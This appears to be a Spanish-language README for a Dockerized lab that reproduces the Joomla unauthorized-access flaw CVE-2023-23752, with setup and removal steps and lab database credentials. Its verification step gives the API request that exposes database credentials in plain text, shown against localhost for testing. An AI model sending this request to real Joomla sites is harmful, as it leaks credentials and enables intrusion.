CVE-2023-23752

Vulnerabilidad de acceso no autorizado de Joomla (CVE-2023-23752) Dockerizada

Instalación

---

Recomendado (automático)

1. Clona este repositorio git clone https://github.com/karthikuj/CVE-2023-23752-Docker.git
2. Cambia de directorio cd CVE-2023-23752-Docker
3. Ejecuta ./setup.sh
4. Abre tu navegador y ve a http://localhost:8080/

Manual

1. Clona este repositorio git clone https://github.com/karthikuj/CVE-2023-23752-Docker.git
2. Cambia de directorio cd CVE-2023-23752-Docker
3. Ejecuta docker-compose up -d
4. Abre tu navegador y ve a http://localhost:8080/
5. Ingresa todos los detalles.
6. Al configurar la base de datos:
   • Ingresa joomladb:mysql como nombre de host.
   • Ingresa root como nombre de usuario.
   • Ingresa example como contraseña.
   • Ingresa joomla_db como nombre de la base de datos.

Verificar CVE-2023-23752

---

1. Después de la instalación, abre tu navegador y navega a http://localhost:8080/api/index.php/v1/config/application?public=true
2. Podrás ver el nombre de usuario y la contraseña de la base de datos en texto plano en la respuesta.

Desinstalación

---

1. Ejecuta ./remove-joomla.sh